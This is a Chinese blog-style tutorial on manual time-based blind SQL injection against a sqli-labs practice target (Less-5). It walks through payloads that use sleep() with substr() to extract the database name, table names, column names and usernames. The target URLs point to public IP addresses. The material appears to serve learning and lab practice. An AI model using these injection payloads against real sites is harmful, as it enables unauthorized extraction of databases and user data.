##前言
技术还是太菜了……挖不到洞,自闭。学习吧。争取精通一下Sql手工注入,在没有waf的情况下。
##开工
靶机地址:http://43.247.91.228:84/(由Ms08067团队提供)。
废话不多说了,我们直接进入正题。
时间注入是利用sleep()或benchmark()等函数让MySQL的执行时间变长。
时间盲注多与IF(expr1,expr2,expr3)
结合使用。如果expr1是TRUE,则IF()的返回值是expr2;否则返回expr3。
##时间盲注第一步
时间盲注第一步先检测数据库库名的长度:
利用 if (length(database())>1,sleep(5),1)
如果数据库库名的长度大于1,则MySQL查询休眠5秒,否则查询1。
http://43.247.91.228:84/Less-5/?id=1%27and+if+(length(database())>1,sleep(5),1)--+
因为数据库库名大于1,所以执行sleep(5),等待响应5秒钟。
当这条语句执行完,我们在 f12 中的网络里,可以看见网页响应的时间,5s左右,确实执行了sleep(5)。
接下来,就是遍历操作了,length(database())>1、>2、>3……,最终确定数据库的库名长度为8。
http://43.247.91.228:84/Less-5/?id=1%27and+if+(length(database())=8,sleep(5),1)--+
##时间盲注第二步
知道了数据库库名的长度,接下来,我们要做的就是得到数据库的名字。
我们可以使用substr()函数来得到数据库的名字。
substr(database(),1,1)
,substr是截取的意思,这段代码的意思为 截取数据库的名字,从第一个字符开始,截取从第一个字符开始计算的一位,也就是截取数据库名字的第一个字符。
确定字符,我们通常采用二分法
http://43.247.91.228:84/Less-5/?id=1%27and+if+(substr(database(),1,1)>%27m%27,sleep(5),1)--+
(以字母m做26个字母的分界),发现延迟5s,也就是说第一个字符的值在m往后的剩下的13个字母中,用类似方法,最终确定第一个字母为 s。
确定前两位:http://47.101.155.100:4002/Less-5/?id=1%27and+if+(substr(database(),1,2)=%27se%27,sleep(5),1)--+
确定前三位:http://47.101.155.100:4002/Less-5/?id=1%27and+if+(substr(database(),1,3)=%27sec%27,sleep(5),1)--+
……
确定数据库名:http://47.101.155.100:4002/Less-5/?id=1%27and+if+(substr(database(),1,8)=%27security%27,sleep(5),1)--+
##时间盲注第三步:
数据库名知道了,继续爆表名
爆表名,当然还是需要用我们的select语句啦。
附上代码:
http://47.101.155.100:4002/Less-5/?id=1%27and+if+(substr((select+table_name+from+information_schema.tables+where+table_schema=%27security%27+limit+0,1),1,1)=%27e%27,sleep(5),1)--+
这段最重要的一个部分:limit+0,1),1,1)
0,1代表——数据库内的第一个表
1,1代表——表名的第一个字符
一个数据库肯定有很多表啦!
接下来,继续以代码说明:
爆第一个表的前两个字符:
+limit+0,1),1,2)=%27em%27,sleep(5),1)--+
爆第二个表的第一个字符:
+limit+1,1),1,1)=%27r%27,sleep(5),1)--+
关于Limit的用法:
limit 1,5 ——检索记录2-6
limit 2,5 ——检索记录3-7
limit 1,-1——检索记录2-最后
limit 5——检索前5个记录
limit 0,5——检索前5个记录
思路就是这样的,接下来手工重复操作就可以,就会得到全部的表。
##时间盲注第四步
爆完表名,就是爆列,思路和上面一样
爆users表中,第一个字段的第一个字符
http://47.101.155.100:4002/Less-5/?id=1%27and+if+(substr((select+column_name+from+information_schema.columns+where+table_name=%27users%27+limit+0,1),1,1)=%27i%27,sleep(5),1)--+
剩下的根据第三步讲述的重复操作就可以。
##时间盲注第五步
最后爆字段
查询username列中第一个字段的第一个字符:
http://47.101.155.100:4002/Less-5/?id=1%27and+if+(substr((select+username+from+users+limit+0,1),1,1)=%27d%27,sleep(5),1)--+
剩下的都是重复操作了。
##感想
盲注、布尔什么的手工太累了,还是写个python脚本好一些,或者直接拿sqlmap跑。